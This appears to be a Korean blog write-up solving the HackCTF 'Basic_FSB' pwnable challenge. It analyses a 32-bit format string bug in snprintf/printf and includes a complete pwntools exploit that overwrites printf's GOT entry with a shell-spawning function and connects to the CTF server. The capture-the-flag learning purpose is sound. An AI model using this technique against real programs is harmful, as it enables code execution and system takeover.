WAR GAME/HackCTF

[HackCTF : Pwnable] Basic_FSB 풀이 (32bit, FSB)

jir4vvit 2021. 3. 4. 17:53

문제 풀이 환경 : ubuntu 20.04
사용 툴 : IDA 7.5 pro

문제 푸는 경험?이 부족한 것 같아서 HackCTF 포너블 파트를 공략해보려고 한다. 롸업을 최대한 보지 않고 푸는 것이 목표다.

 


문제

주어진 파일은 문제 바이너리 파일 뿐이다. IDA로 까보자.

 

Analysis

flag 함수

사실 가장 먼저 보인건 저 flag 함수 ㅎㅎ... 보니까 그냥 "/bin/sh" 실행시켜준다 

main 함수

vuln 함수

주목해야할 건 vuln 함수이다. 저기서 fsb가 터진다. 취약한 line은 8번 9번 라인이다. 포맷스트링을 사용하지 않기 때문!

 

 

int snprintf (char *buffer, int buf_size, const char *format, ...)

참고로 BOF는 일어나지 않는다. 

format 크기는 0x408 = 1032

s 크기는 0x400 = 1024

 

How to exploit

vuln 함수에서 fsb가 터질 거 같으니 트리거해서 문제를 풀어보자. 

 

offset = 2 

 

32bit라서 간단하게 fmtstr_payload 함수 사용할건데 flag함수를 덮을 적당한 got를 생각해내는게 생각보다 힘들었다. 어차피 취약한 곳은 두 곳이니, 8번 line의 snprintf 함수에서 터지는 fsb를 공략하기로 하고 printf의 got를 덮자고 계획하였다.

 

Let's exploit!

아래는 익스 코드

from pwn import *

#p = process('./basic_fsb')
p = remote('ctf.j0n9hyun.xyz', 3002)
e = ELF('./basic_fsb')

printf_got = e.got['printf']
flag = e.symbols['flag']
print(hex(printf_got))

# offset = 2
payload = fmtstr_payload(2, {printf_got:flag})

#pause()
p.sendlineafter(': ',payload)

p.interactive()

반찬으로 포맷스트링을 권유받았다.